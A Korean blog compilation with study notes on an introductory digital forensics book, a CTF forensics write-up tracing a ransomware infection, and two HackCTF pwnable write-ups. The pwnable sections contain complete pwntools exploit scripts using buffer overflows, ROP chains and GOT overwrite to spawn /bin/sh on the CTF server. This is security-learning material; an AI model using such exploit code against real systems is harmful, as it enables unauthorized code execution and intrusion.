책 소개

제목: 이제 시작이야 디지털 포렌식

내용: 디지털 포렌식의 입문자들을 위한 책으로 포렌식의 기초를 다루고 있다. (비전공자들도 쉽게 보고 이해할 수 있음.)

개인적인 평가: 번역이 아쉬움.... (원문을 접할 수 있다면, 원문 보는 것을 추천함.)

http://www.yes24.com/Product/Goods/7526115

저번 글에 이어서 5장을 정리하는 시간을 갖도록 하겠습니다.

※5장부터는 중요한 내용이 많이 들어있습니다.

5장 윈도우 시스템에서의 증거 수집

서론

거의 대부분의 사람들이 사용하는 컴퓨터, 노트북의 운영체제는 윈도우로 포렌식을 하는 입장에서 윈도우 운영체제를 다룰 확률이 매우 높습니다. 그러므로, 윈도우 운영체제와 윈도우의 모든 기능에 대해서 자세히 이해하고 있는 것이 매우 중요합니다.

5장에서는 윈도우 운영체제에서 남는 흔적들을 식별하고 수집하는 방법에 대해서 다룰 것입니다.

1. 삭제된 데이터

파일을 삭제하는 것은 컴퓨터에게 해당 파일이 차지하고 있는 공간을 사용할 수 있다고 알려주는 것이며, 새로운 다른 파일로 덮이기 전까지 삭제된 데이터는 남는다.

▶ 단순히 삭제 버튼을 누른다고 삭제되는 것이 아님.

더불어, 컴퓨터의 파일 시스템은 특정 파일의 마지막 수정 날짜, 엑세스 날짜, 생성 날짜 등을 기록하고 유지한다.

=> 이러한 요소들이 증거 수집에 활용됨. (ex. 할당되지 않은 공간에서의 데이터 수집: 파일 카빙)

2. 최대 절전모드 파일(HIBERFILE.SYS)

컴퓨터도 사람처럼 쉬는 시간을 가질 수 있음. => 최대 절전모드, 하이브리드 절전 모드 등.

이때, 최대 절전, 하이브리드 절전과 같은 "깊은 잠" 모드는 데이터를 RAM에 저장하지 않고 하드 드라이브에 저장함.   => 데이터가 더 오래 남고, 더 쉽게 복원이 가능함.

대기모드

대기모드는 전력을 절약하기 위한 목적과 컴퓨터를 최대한 신속하게 작동시킬 수 있게 하려는 목적을 가진다.

즉, 대기모드에서는 소량의 전력을 RAM에 지속적으로 공급하여 데이터가 유지됨.

=> 포렌식적으로 아무 도움이 되지 않음. 

최대 절전모드

대기모드와 마찬가지로 전력을 절약하기 위한 모드이지만,

RAM에 있는 모든 데이터가 하드 드라이브로 옮겨진다. 즉, 데이터 제거가 어려워짐

(주로 노트북에서 사용됨.)

=> 포렌식적으로 도움이 됨.

하이브리드 절전모드

대기모드와 최대 절전모드를 혼합한 것으로 주로 데스크톱에서 사용됨.

RAM에 최소한의 전력을 공급하여(데이터와 프로그램을 보존하며) 데이터를 디스크에 기록한다.

즉, 대기모드처럼 RAM에 지속적으로 전력 공급을 유지하며 최대 절전모드처럼 데이터가 디스크에 기록됨.

3. 레지스트리

레지스트리는 사용자와 시스템 구성의 설정을 관리하며, 포렌식 관점에서 수많은 흔적이 숨겨져 있다.

흔적의 예로, 검색어, 실행된 프로그램, 설치된 프로그램, 웹 주소, 최근 실행 파일 등이 있다.

레지스트리는 윈도우에서 작업할 때 사용하는 디렉터리, 폴더 그리고 파일과 같은 트리 구조로 구성되어 있다. 

일반적으로 누가 그 흔적을 생성되게 했는지 판별할 때, 컴퓨터의 계정을 판별하는 요소로 사용한다.

컴퓨터의 각 계정에는 보안 식별번호 또는 SID라는 고유 번호가 있으며, SID를 통해 컴퓨터에서의 많은 활동을 추적할 수 있다.

외장 기기가 연결되어 있었는지 아닌지에 대해서 판별할 때, 레지스트리에 있는 데이터를 통해서 판별할 수 있다.

=> 레지스트리에 기기의 제조사와 시리얼 번호 등의 자세한 정보가 기록되기 때문에 판별이 가능함.

더 자세한 내용은 다음 사이트를 참조하기 바랍니다. (https://m.blog.naver.com/PostView.nhn?blogId=rbdi3222&logNo=220597850076&proxyReferer=https:%2F%2Fwww.google.com%2F)

4. 프린트 스풀링

포렌식에서 사용자의 프린트 활동도 살펴보는 경우가 존재함.

(ex. 협박 편지, 위조된 계약서, 탈취한 고객 목록 등의 잠재적 증거 수집을 위함)

스풀링: 프린터가 편리한 시간에 프린트를 할 수 있도록 프린트 작업을 저장함.

스풀링을 할 때, 윈도우는 두 개의 보조 파일을 생성하는데,

하나는 Enhanced Meta File(EMF)로 프린트하는 문서의 이미지이며, 다른 하나는 스풀 파일로서 프린트 작업 자체에 대한 정보를 저장한다.

스풀 파일(.spl)은 프린터 이름, 컴퓨터 이름 그리고 프린터에게 프린트 작업을 전송한 사용자 계정 등에 대한 정보를 담고 있다.

=> 유용한 정보를 담고 있지만, 프린트 작업이 끝나면 대부분 자동으로 삭제된다.

예외

• 문제가 발생하여 문서가 프린트되지 않은 경우 파일이 남아 있음.
• 프린트 작업을 시작하는 컴퓨터에 복사본을 저장하도록 설정된 경우 파일이 남음.

5. 휴지통

휴지통은 많은 사람들이 기능을 알 정도로 많이 사용하는 기능 중 하나이다.

일반적으로 데이터를 삭제할 때, 휴지통에 버리고 휴지통을 비우는 방식을 취한다. 

실은, 파일이 휴지통으로 옮겨지는 것이 아니며, 파일은 원래 그 자리에 남아 있는다. (덮어지기 전까지)

더불어, 휴지통에 버린 파일은 쉽게 복구될 수 있다.

(휴지통 비우기로 삭제한 파일은 일반인들이 복구하기 어려울 수 있음.)

6. 메타데이터

메타데이터는 데이터에 대한 데이터로, 크게 프로그램 파일과 파일 시스템 두 가지 종류가 있다. 

(ex. 쉽게 말해서 파일을 우클릭하여 "속성"을 선택하면 메타데이터 정보를 볼 수 있음.)

파일 시스템은 파일과 폴더를 기록하고 유지하는데,

파일 시스템 메타데이터에는 파일이나 폴더가 생성, 접근 또는 수정된 날짜와 시간을 포함한다.

※여기서 주의할 점은 날짜와 시간 정보가 조사에는 유용할 수 있지만, 사용자가 시스템의 시간을 수정할 수 있어서 백 퍼센트 신뢰해서는 안됨.

만든 날짜: 하드 드라이브 같이 특정 매체에 언제 파일이나 폴더가 생성되었는지 표시함.

수정한 날짜: 파일이 수정되어 저장되면 수정한 날짜와 시간이 설정된다.

엑세스한 날짜: 파일 시스템은 파일에 접근할 때마다 엑세스한 날짜가 업데이트된다.

(파일에 접근했다는 것은 단순히 파일은 열었다는 것만을 의미하지 않는다. 컴퓨터 자체가 파일에 접근할 수도 있음.)

프로그램 자체에서도 메타데이터를 생성하고 저장할 수도 있음.

파일 시스템과 마찬가지로 프로그램도 만든 날짜, 수정한 날짜 그리고 엑세스한 날짜를 기록하고 유지할 수 있는데, 추가적으로 작성자, 기관이름, 컴퓨터 이름 등 다양한 속성이 포함된다.

더불어, 메타데이터를 삭제할 수 있는 여러 툴들이 존재함.

7. 썸네일 캐시 

썸네일은 컴퓨터에 있는 사진을 좀 더 쉽게 볼 수 있도록 하기 위해 윈도우가 사진을 작게 만든 사진이다.

(사용자가 "미리 보기"를 윈도우 탐색기에서 선택하면 윈도우가 자동으로 썸네일을 생성한다.)

일반적인 사용자들은 썸네일 파일의 존재를 잘 모르며, 원본 사진을 삭제해도 썸네일 파일은 남게 된다.

즉, 원본 사진을 복원하지 못해도 썸네일을 차선의 증거로 사용이 가능함

8. 복원 지점과 쉐도우 복사

컴퓨터에 문제가 생기면 컴퓨터가 잘 작동하던 시점으로 돌아갈 수 있도록 윈도우에서는 복원 지점을 사용한다.

복원 지점

복원 지점은 핵심 시스템 구성과 설정을 특정 시점에 스냅샷을 한 것으로 시스템을 다시 작동할 수 있도록 복구하는 곳에 사용된다.

복원 지점은 여러 가지 방법으로 만들어지는데, 복원 지점 기능이 디폴트로 활성화되어 있어 매일 자동으로 하나의 스냅샷이 생성된다. 

(ex. 소프트웨어 설치 같이 주요 시스템 이벤트 전에 자동으로 시스템에 의해 생성될 수 있음)

일반적인 사용자들은 복원 지점에 대한 정보를 보기 어려움.

쉐도우 복사

쉐도우 복사는 복원 지점의 소스 데이터로 특정 파일이 시간이 경과하면서 어떻게 변화였는지 증명하는 데 사용될 수 있다.

더불어, 이미 삭제된 파일의 복사본이 저장되어 있을 수도 있다.

9. 프리패치

프리패치는 시스템의 속도를 증가시키기 위한 시도 중에 하나로, 프로그램 실행 시간을 줄여준다.

exe 프로그램이 실행되면 프리패치 파일이 생성되는데, 이를 통해서 특정 프로그램이 실제로 설치된 적이 있는지 그리고 실행된 적이 있는지를 알 수 있다.

10. 링크 파일

링크 파일은 다른 파일을 가리키고 있어, 지름길과 같은 기능을 제공한다. 예를 들어, "바로 가기" 와 같은 것이 해당된다.

링크 파일 자체에 날짜와 시간 정보가 저장되어 있기 때문에 언제 생성되고 마지막으로 언제 사용되었는지 알 수 있다. 더불어, 링크 파일에는 완전한 파일 경로가 저장되어 있을 수 있다.

설치된 프로그램

용의자 컴퓨터에 설치되어 있는 또는 설치되었던 적이 있는 소프트웨어의 정보가 유용할 수 있는데,

이런 흔적들을 여러 곳에서 발견할 수 있다.

(ex. 프로그램 폴더, 링크와 프리패치 파일이 있는 곳)

포렌식 교육 2주차 문제에 해당하는 N0Named Wargame의 포렌식 분야 문제인 infect 문제 풀이입니다.

 N0Named Wargame 사이트는 다음과 같습니다. (그림 클릭 시 이동)

해당 문제를 풀기 위해서는 여러 툴의 도움이 필요합니다.

포렌식 작업에서 발생할 수 있는 사고를 방지하기 위해 미디어 이미지를 복제하는 

FTK Imager - AccessData

(https://accessdata.com/product-download/ftk-imager-version-4-5)

프리패치 파일을 분석하기 위한 (exe 파일 실행 시각에 대한 정보를 알 수 있음)

WinPrefetchView - NirSoft

(http://www.nirsoft.net/utils/win_prefetch_view.html)

크롬 방문기록, 다운로드 기록 등이 담긴 DB를 읽는

DBbrowser for SQLite

(https://sqlitebrowser.org/dl/)

문제를 풀기 이전에 위의 3가지 툴을 다운받으시길 바랍니다.

그럼 문제 풀이를 시작하겠습니다.

문제에서 악성코드에 감염된 PC를 제공하고,

악성 프로그램의 파일명과 실행시각을 알아내라고 합니다.

(그래서, 문제 이름이 infect 였구나...)

우선, 해당 파일을 다운 받아서 FTK Imager로 열어봅시다.

파일들이 엄청 많이 있다.

로그 기록을 확인하고 싶었지만, 해당 폴더에 로그 기록이 있지 않았다.

(/[root]/$LogFile,  /[root]/$MFT,  /[root]/$Extend/$UsnJrnl:$J)

(위의 세 가지 파일들을 추출할 수 있다면, 파일들의 로그를 분석할 수 있다. 하지만 해당 문제에는 보이지 않는다.)

아마도 악성프로그램을 인터넷에서 다운받게 되었을테니, 크롬 기록을 찾아보자.

/[root]/Users/username/AppData/Local/Google/Chrome/User Data/Default/History

위 경로를 통해서 크롬 방문기록, 다운로드 기록 등이 담긴 History 파일을 찾을 수 있다.

해당 파일을 우클릭해서 추출하여, DBbrowser for SQLite로 열어보자.

데이터를 살펴보니, 다음과 같은 사실을 알 수 있었다.

해당 PC 사용자가 VMware 크랙 버전을 다운받으려다가 랜섬웨어에 감염된 것 같아 보인다..

아무래도, 다운로드 파일을 찾아봐야 할 것 같다.

다시 FTK Imager로 돌아가서 찾아보니 다음과 같다.

다운로더 폴더에는 VB0x1nst4ller_crackversion.exe가 있으며,

Desktop 폴더에는 VboxTester.exe와 data2.encrypted가 있었다.

VMware 크랙 버전을 인터넷에서 다운받아서 실행시킨 결과, data2가 암호화되는 랜섬웨어에 걸린 것 같다.

이제 거의 문제가 다 풀렸다.

정확한 실행시각을 알기 위해 /Windows/Prefetch로 이동해서 pf 파일을 찾았다.

아까와 마찬가지로 우클릭을 하여, 파일을 추출하고

추출된 pf 파일을 WinPrefetchView를 통해 분석해보자.

해당 exe 실행 파일이 2020년 10월 28일 오후 11시 14분 09초에 실행되었다는 사실을 알 수 있었다.

이를 기반으로 플래그 값을 대입하면 문제가 해결된다.

HackCTF는 여러 해킹 기법들을 공부할 수 있는 워게임 사이트로 주소는

https://ctf.j0n9hyun.xyz/

오늘 풀어볼 문제는 HackCTF에 있는 포너블 분야의 문제로

ROP 문제입니다.

해당 문제는 문제 이름처럼 ROP 기법을 사용해야 풀 수 있습니다.

ROP 기법 설명과 이번 문제와 매우 유사한 문제 풀이 방식을 다음 사이트에서 공부하였습니다.

https://d4m0n.tistory.com/84

문제 풀이를 그럼 시작해봅시다~!!

문제 이름이 ROP인 것을 통해서 ROP 기법에 관련된 문제인 것을 추측해볼 수 있다.

해당 zip 파일을 다운 받고, IDA Pro로 분석해보자.

코드는 매우 간단했다. 취약한 함수를 실행시키고 hello world를 출력한다.

취약한 함수를 살펴보면,

buf의 사이즈는 0x88인데, 그것보다 더 큰 0x100까지 read함수를 통해 입력 받는다.

즉, BOF가 발생할 수 있다.

(RTL을 통해서 문제를 풀고 싶었지만, 문제 이름이 ROP인 것처럼 ASLR이 적용되어서 라이브러리 주소가 계속 바뀐다.)

코드에서 read와 write 함수만 사용하기 때문에 우리는 read와 write를 활용해서 system 함수를 실행시킬 수 있어야 한다.

일반적인 ROP처럼 bss영역에 "/bin/sh"를 작성하고,

system 함수를 실행시키면서 인자로 넘겨주어야 한다.

이를 가능하게 하려면 우선, 특정 함수의 실제 주소와 libc_base로부터 격차를 알아내고,

libc_base로부터 system 함수의 격차를 알아내어,

system 함수의 실제 주소를 알아내야 한다.

즉,

특정 함수의 실제 주소와 libc_base와의 격차, system 함수의 libc_base와의 격차를 통해

----> system 함수 실제 주소

를 얻고,

쓸만한 bss 영역 주소 값을 알아내서 "/bin/sh"를 입력하고,

system 함수를 "/bin/sh"를 인자로 실행시켜야 한다는 의미이다.

이때, read 함수가 특정 함수에 해당한다.

이제 어느정도 어떻게 해야할 지 윤곽이 잡혔을 것이다.

단계별로 생각해보면,

1단계: wirte 함수를 활용해서 read 함수의 주소를 얻기

2단계: read 함수를 사용해, bss 영역에 "/bin/sh" 입력

3단계: read함수의 주소와 격차, system 함수의 격차 값을 이용해 실제 system 함수 주소 얻기

4단계: read 함수를 사용해, write_got를 system 함수 주소로 덮기

5단계: write 함수(실제로는 system 함수가 실행됨)를 실행시키면서 인자로 "/bin/sh" 넘겨주기

우선, read함수와 write 함수를 연속해서 사용하므로 pop-pop-pop-ret gadget이 필요하다.

해당 gadget은 

ROPgadget --binary rop | grep 'ret'

리눅스 실행 환경에서 명령어를 통해서 얻을 수 있다.

p3ret gadget 주소 = 0x08048509

그리고, "/bin/sh"를 저장할 적당한 공간이 필요한데,

readelf -S rop

명령어를 통해서 얻을 수 있다.

bss 영역 주소 = 0x0804a024

이를 바탕으로 페이로드를 작성하면 다음과 같다.

from pwn import*

p = remote("ctf.j0n9hyun.xyz", 3021)
e = ELF('./rop')
libc = ELF('./libc.so.6')

read_plt = e.plt['read']
read_got = e.got['read']
read_offset = libc.symbols['read']
log.info('read1: 0x%x' %read_got)        # 확인차


write_plt = e.plt['write']
write_got = e.got['write']
write_offset = libc.symbols['write']

system_offset = libc.symbols['system']

p3ret = 0x08048509
bss = 0x0804a024

payload = "a"*140

payload += p32(write_plt)
payload += p32(p3ret)
payload += p32(1)
payload += p32(read_got)
payload += p32(4)


payload += p32(read_plt)
payload += p32(p3ret)
payload += p32(0)
payload += p32(bss)
payload += p32(8)

payload += p32(read_plt)
payload += p32(p3ret)
payload += p32(0)
payload += p32(write_got)
payload += p32(4)

payload += p32(write_plt)
payload += "a"*4
payload += p32(bss)

p.send(payload)

read_address = u32(p.recv(4))
log.info('read2: 0x%x' %read_address)         # 확인차

p.send("/bin/sh\x00")

system_address = read_address - read_offset + system_offset
log.info('system_address: 0x%x' %system_address)          #확인차
p.send(p32(system_address))                 


p.interactive()

페이로드 해설

우선, read, write의 plt, got 값을 알아내고, libc_base로부터의 각각의 offset도 알아낸다.

system 함수의 libc_base로부터의 offset도 알아낸다.

p3ret과 bss 주소도 변수에 대입한다.

read에서 BOF를 일으키기 위해서 140바이트를 더미로 채우고,

ret 부분에 write_plt 주소를 넣고 인자로 1, read_got, 4를 넣어 read함수 주소를 알아낸다.

이어서(chaining), read 함수를 실행시키는데 인자로 0, bss 주소, 8을 줘서 "/bin/sh"를 입력할 수 있게 한다.

이어서(chaining), read 함수를 또 실행시키는데 인자로 0, write_got, 4를 줘서 write_got 값에 system 함수 주소를 입력할 수 있게 하여, GotOverwrite를 일으킨다.

이어서(chaining), system함수 주소 값으로 got가 덮인 write함수를 실행시키고 인자로 bss("/bin/sh)를 줘서 권한을 획득한다.

system 함수 주소는 다음 과정을 거쳐 구한다.

libc_base = read 함수 주소 - libc_base로부터 격차 

system 주소 = libc_base + system함수의 libc_base로부터 격차

추가적으로 "/bin/sh\x00" 을 넣은 이유는 뒤에 이상한 값이 읽히는 것을 방지하기 위함이다.

해당 페이로드를 실행시킨 결과 다음과 같이 플래그 값을 얻을 수 있었다.

이렇게 문제가 해결된다.

부가적으로 이 문제를 풀면서, Got EOF 때문에 오랫동안 삽질을 했는데

갓성염님의 도움으로 해결할 수 있었다.

(항상 도움 많이 받아서 너무 고맙습니다 :) )

저번 문제에서는 fgets에서 senline을 사용하지 않아서 발생한 문제였는데,

이번 문제에서는 sendline을 사용해서 EOF가 발생하였다. send로 고쳐주니 잘 실행되었다.

HackCTF는 여러 해킹 기법들을 공부할 수 있는 워게임 사이트로 주소는

https://ctf.j0n9hyun.xyz/

오늘 풀어볼 문제는 HackCTF에 있는 포너블 분야의 문제로

gift 문제입니다.

해당 문제는 ROP 기법을 사용해야 풀 수 있습니다.

지금까지 배웠던 기법 중에서는 어려운 편에 속하는 것 같습니다.

이번 글에서는 문제 풀이를 위주로 작성할 것이기 때문에 나중에 ROP 기법에 대해서 정리하도록 하겠습니다.

ROP 기법이 궁금하신 분은 다음 사이트를 참고해주시면 좋겠습니다.

https://d4m0n.tistory.com/84

그림과 같이 gift라는 문제 이름과 접속 주소 그리고 실행 파일이 첨부되어 있다.

원격으로 접속해보면, 

입력 받고, 입력받은 것을 출력하고, 다시 입력 받는데

실행할 때마다 주어지는 0x~~~값이 달라진다.

해당 파일을 다운 받아서 IDA Pro로 분석해보면 다음과 같다.

main 코드 분석

binsh와 system의 주소 값을 출력해주고

fgets로 입력받고, 입력 받은 것을 출력하고, gets로 다시금 입력 받는다.

여기서 printf(%s)로 인해서 FSB가 발생할 수 있으며, get(%s)에서 BOF가 발생할 수 있다.

그런데,

실행할 때마다 주소 값이 달라지는 것을 통해 ASLR이 적용된 것을 알 수 있다.

다시 말해서 계속해서 주소 값이 바뀌기 때문에 FSB를 이용해 %c로 넘겨줄 수 없다.

더불어, binsh를 보면, binsh는 bss 영역으로 전역변수이다.

ASLR로 인해서 스택, 힙, 라이브러리 영역의 주소 값이 바뀌는데, bss는 속하지 않는다.

앞의 정보를 통해서 공략법을 생각해보면

binsh라는 주소 값과 system 함수의 주소 값을 알 수 있고, gets 함수가 한 번 사용되므로

(gets가 한 번 사용되므로 두 번째 사용 때 주소 값(gets_got)은 고정된다.)

ROP 기법을 활용해서 페이로드를 작성해볼 수 있다.

우선, binsh에는 system 함수의 인자인 "/bin/sh"가 들어 있어야 한다.

1. "/bin/sh"를 binsh에 넣기 위해서는 gets(%s)에서 BOF를 일으켜 gets를 한 번 더 실행시켜야 한다.

2. 그리고, 이어서 system 함수를 실행시키고 "/bin/sh"를 인자로 즉, binsh를 인자로 넘겨주면 권한을 획득할 수 있다.

즉, chaining을 적용해야 한다.

정리해보면, BOF를 일으켜 ret에 gets_plt 값을 넣어 gets를 실행하고 인자로 binsh를 넘겨서 "/bin/sh" 값을 넣을 수 있게 한다.

이어서, system 함수를 실행시켜 인자로 binsh("/bin/sh")를 넘겨주어 권한을 획득한다.

스택 구조

----------------------------------------------

s

(0x84)

----------------------------------------------

sfp

(0x04)

----------------------------------------------

ret

(0x04)

(gets_plt 들어갈 자리)

----------------------------------------------

pop_ret gadget 자리

(0x04)

chaining을 위해서 필요

----------------------------------------------

gets 인자 자리

(0x04)

(binsh 주소가 들어갈 자리)

----------------------------------------------

system 주소가 들어갈 자리

(0x04)

----------------------------------------------

system 실행 후 복귀할 자리

(0x04)

의미 없음 dummy로 채워짐

----------------------------------------------

system 함수 인자 "/bin/sh"

(0x04)

(binsh 주소가 들어갈 자리)

----------------------------------------------

이를 바탕으로 페이로드를 작성하면 다음과 같다.

from pwn import*
p = remote("ctf.j0n9hyun.xyz", 3018)

e = ELF("./gift")

gets_plt = e.plt['gets']

pop_ret = 0x080483ad


p.recvuntil("are: ")
binsh = int(p.recv(9), 16)
log.info('binsh : 0x%x' %binsh)  // 값이 잘 들어갔는지 확인차

p.recv(1)

system_address = int(p.recv(10), 16)
log.info('sys : 0x%x' %system_address) // 값이 잘 들어갔는지 확인차


p.sendline("abcd")


payload = "a"*136 + p32(gets_plt) + p32(pop_ret) + p32(binsh) + p32(system_address) + "aaaa" + p32(binsh)
p.send(payload)

p.send("/bin/sh")

p.interactive()

페이로드 해설

get_plt 값을 구하고,

pop ret gadget 주소는 

ROPgadget --binary (파일명) | grep '(찾을 가젯)'

명령어를 통해서 pop ~, ret 으로 찾은 주소인 0x080483ad을 사용했다.

binsh와 system 함수 주소를 받아서

gets(%s)에서 BOF를 일으켜 gets를 한 번 더 실행시켜 binsh를 "/bin/sh"로 채우고,

이어서 system 함수를 인자로 binsh("/bin/sh")실행시키는 코드를 작성했다.

다시 말해서 sfp까지 136바이트는 아무 값으로 채웠고,

get_plt + pop ret gadget + binsh

(gets 함수를 binsh를 인자로 호출해서 binsh에 값을 채워 넣기 위함)

system 함수 주소 + 더미 4바이트 + system 함수 인자 binsh("/bin/sh")

의 페이로드를 s에 입력해주고,

이로 인해서 실행된 gets의 binsh에 p.send("/bin/sh") 값을 넣어주었다.

페이로드를 실행시킨 결과 다음과 같은 과정으로 플래그를 얻었다.

이렇게 문제가 해결된다~~!!!

추가적으로, 처음에 페이로드를 작성했는데 EOF가 계속 발생해서 애를 먹었는데 친구의 도움으로 해결했다.

여기서 문제였던 점은

fgets로 입력 받기 때문에 p.send("~")가 아닌 p.senline("~")을 해주어야 하는데, p.send를 사용했던 것이다.

앞으로 fgets인 경우, p.sendline을 사용하길 바랍니다.

책 소개

제목: 이제 시작이야 디지털 포렌식

내용: 디지털 포렌식의 입문자들을 위한 책으로 포렌식의 기초를 다루고 있다. (비전공자들도 쉽게 보고 이해할 수 있음.)

http://www.yes24.com/Product/Goods/7526115

저번 글에 이어서 4장 내용을 정리하는 시간을 갖도록 하겠습니다.

4장 증거 수집

서론

법죄 현장에서 발견된 증거를 절차대로 수집하는 것은 법정에 제출되는 것과 직결되기 때문에 매우 중요하다. 4장에서는 어떻게 증거를 수집해서 보존하는지에 대한 내용을 다루고 있다.

1. 범죄 현장과 증거 수집

일반적으로 범죄 현장의 경우 가장 먼저 해야 하는 것은 증거를 확보하는 것이다. 이는 디지털 증거가 있는 현장에서도 동일하게 적용된다.

다만 차이점은, 일반적인 범죄 현장에서는 물리적으로 사건 현장에 대한 접근을 제한하여 확보하는 것과는 달리

디지털 증거는 인터넷, 전화 또는 기타 다른 네트워크에 연결될 수 있으므로 휘발성 증거가 없다고 확신하는 순간부터 컴퓨터와 무선기기를 반드시 접근할 수 없게 해야 한다.

이동식 매체

이동식 저장 매체에는 DVD, 외장하드, USB 드라이브, 메모리카드 등을 포함하며, 이는 현장에 책, 지갑, 침대 밑 등 어디에도 존재할 수 있어서 확보하기 위해서 있을만한 모든 곳을 수색해야 한다.

더불어, 사건 현장에 있는 기기와 저장 매체말고도 주변의 어떤 것이 있는지 살펴보는 것이 중요하다.

주변의 책, 사용설명서 등을 통해서 용의자의 지식 수준을 알 수 있으며, 이외에도 어떤 제품을 사용하고 있는지, 암호 기능은 있는지 등에 대한 정보를 얻을 수 있다.

휴대폰

휴대폰은 거의 모든 사람이 가지고 있으며, 담겨 있는 정보로부터 알아낼 수 있는 중요한 정보들이 많이 존재할 확률이 높다. 그렇기 때문에 안전하게 휴대폰을 증거물로 확보하는 것은 매우 중요하다.

(문자 메시지, 이메일, 전화기록, 연락처 등의 데이터  --->  사용자의 의도, 알리바이 등에 대한 정보 획득)

수집 방법으로는 네트워크 신호로부터 휴대폰을 보호하기 위해서 패러데이 봉투에 넣어 네트워크 신호를 차단하는 방법이 있다.

휘발성의 순서

수집할 증거가 많이 존재하기 때문에 우선순위를 정해서 수집하는 것도 하나의 좋은 방법이다.

일반적인 우선순위로 보는 것은 바로 휘발성의 순서이다. 증거가 사라지면 안되기 때문에 휘발성이 가장 강한 것부터 가장 약한 것 순으로 증거를 확보한다.

우선 순위

• CPU, 캐시 및 레지스터 데이터
• 라우팅 테이블, ARP 캐시, 프로세스 테이블, 커널 통계
• 메모리
• 임시 파일 시스템/ 스웝 공간
• 하드 디스크에 있는 데이터
• 원격에 있는 로그 데이터
• 아카이브 매체에 있는 데이터

2. 사건 현장 문서화

"문서로 남겨두지 않은 것은 실제로 있었던 일이 아니다."

위의 격언처럼, 어떠한 상황에서도 증거를 수집할 때에는 모든 내용을 반드시 문서로 기록해야 한다. 

일반적으로 문서는 사진과 노트이며, 증거를 문서화할 때 비디오도 사용할 수 있다.

문서화 과정은 현장에 도착하는 순간부터 시작되는데, 날짜와 시간, 현장에 있는 사람들, 수집된 증거, 발견 장소, 증거의 상태 등에 대한 내용을 기록해야 한다.

디지털 증거는 종류, 생산자, 모델, 시리얼 번호 등에 대한 정보로 묘사가 된다. 더불어 기기의 전원이 켜져 있는지 꺼져 있는지, 다른 기기나 네트워크에 연결되어 있는지를 기록하는 것도 중요하다.

사진

모든 현장을 사진으로 남겨야 하는데, 먼저 전반적인 현장을 사진으로 촬영하고 이후에 각 증거에 초점을 맞춰서 촬영한다. 이 때, 어떤 것도 만지기 전에 사진을 찍어야 한다.

특히, 각 증거의 사진은 증거를 찾았을 때의 상태를 명확하게 보여줄 수 있어야 하는데, 시리얼 번호, 손상상태, 연결 등에 주의를 기울이고 사진으로 남겨야 한다. (연결의 예로, 네트워크, 프린터 및 스캐너 등의 주변 기기 연결이 있다.)

※법정에서 판사와 검사들에게 증언할 때, 사진은 매우 유용하다.

노트

노트를 적는 것에는 특별한 표준이 없으나, 시간 순으로 기록하는 것이 가장 흔한 방법이다.

도착한 시간, 현장에 있던 사람, 무엇을 했는지 등에 대한 정보를 기록한다. 

노트는 시간이 지남에 따라서 기억이 흐릿해지고, 몇 달이나 몇 년 후에 법정에 설 때 의존할 수 있는 유일한 수단이다. 

주의할 점은 해당 노트는 나만 보는 것이 아니라 다른 사람도 볼 수 있기 때문에 어떠한 결론을 내리거나, 추측하지 않는 것이 중요하다.

3. 연계보관성

특정 증거가 법정으로 보내지기 전에 여러 개의 엄격한 법적 요구 사항을 충족해야 하는데, 그 중 하나가 연계보관성이다. 

법정에서 증거로 채택되기 전까지 여러 사람의 손을 거치게 되는데, 모든 반출입 과정을 기록하고 유지하는 것이 바로 연계보관성이다.

증거 표시

연계보관성의 첫 번째 연결 고리는 증거를 수집한 사람으로 증거를 수집하면 먼저 표시를 해야 한다.

일반적으로 이니셜, 날짜, 사건 번호 등으로 표시를 한다.

증거 표시는 증거를 수집한 사람이 증인의 입장에서 당시 수집한 증거가 법정에 있는 증거와 동일한지 식별하는데 큰 도움을 준다.

일반적으로 작은 증거들은 보통 봉투에 담아 밀봉하며, 이니셜과 날짜를 기록한다. 여기서 사용되는 봉투는 종이, 플라스틱 혹은 특수 정전기 방지 물질이 사용된다.

(정전기 방지 물질은 정전기로 인해 하드 드라이브에 있는 정보가 손상되는 것을 방지하기 위해서 전자기기 증거에 주로 사용된다.)

4. 클로닝

비트 스트림 이미지(bit stream image) 라도고 불리는 포렌식 클론(forensic clone)은 비트 하나를 틀리지 않고 똑같은 하드 드라이브의 복사본을 의미한다.

다시 말해서, 하드 드라이브 같이 포렌식적으로 깨끗한 매체에 모든 비트 (0, 1)을 복사하는 것을 의미하는데, 단순히 복사 붙여 넣기를 하면 활성 데이터만 복사되기 때문이다.

즉, 할당되지 않은 공간에 있는 데이터, 파일 시스템 데이터 등 온전히 그대로 가져올 수 없기 때문에 모든 비트를 복사해야 한다.

부가적으로 용의자의 하드 드라이브를 최대한 빨리 클론하는 것이 좋은데, 현장보다 랩에서 클로닝하는 것이 빠르다.

이 때, 컴퓨터를 현장에서 랩으로 가져가기 전에 법적으로 허가를 받아야 하며 일반적으로 범죄 사건의 경우는 랩으로 가져가는 반면에 민사 소송의 경우 클로닝을 현장에서 해야 한다. (상대측과 합의를 하면 랩에서 클로닝 가능함.)

클로닝의 목적

디지털 증거는 휘발성이 강하기 때문에 정말로 위급하거나 다른 방법이 없는 경우를 제외하고는 증거 원본을 직접 조사해서는 안된다.

클론을 사용하여 조사하는 경우, 뭔가 잘못되었을 때 언제든지 다신 원본 상태로 되돌릴 수 있다.

이상적으로는 모든 조사를 원본이 아닌 클론에서 해야 하며, 이 말은 클론 두 개가 있으면 하나는 조사를 하는데 쓰이고, 나머지는 백업용으로 사용한다.

원본을 보관하지 못하는 경우, 법정에서 절차에 따라 적합하게 인증된 포렌식 클로은 원본과 똑같은 효력을 지닐 수 있다.

클로닝 과정

클로닝 과정에 있어서, 용의자의 하드 드라이브(원본)는 소스 드라이브이며 클로닝하는 드라이브는 데스티네이션(destination) 드라이브이다.

※데스티네이션 드라이브는 적어도 소스 드라이브와 동일한 크기이거나 커야 한다. 

※데스티네이션 드라이브는 반드시 포렌식적으로 초기화되어 있어야 한다.

(초기화 과정은 하드 드라이브 전체를 1111111111과 같은 특정 패턴으로 덮어쓴다.)

일반적으로 클론하려는 소스 드라이브는 컴퓨터에서 탈착되어 있으며, 케이블에 의해 클로닝 장비나 다른 컴퓨터에 연결된다.

시작하기 전에 쓰기 방지를 사용하는 것이 매우 중요한데, 이는 하드웨어나 소프트웨어로 클로닝하는 동안 원본 증거를 보호하는데 사용된다.

(원본 증거 드라이브에 데이터가 쓰여지는 것을 방지함.)

하드웨어 쓰기 방지의 경우 소스 드라이브와 클로닝 장비 사이에 부착된다.

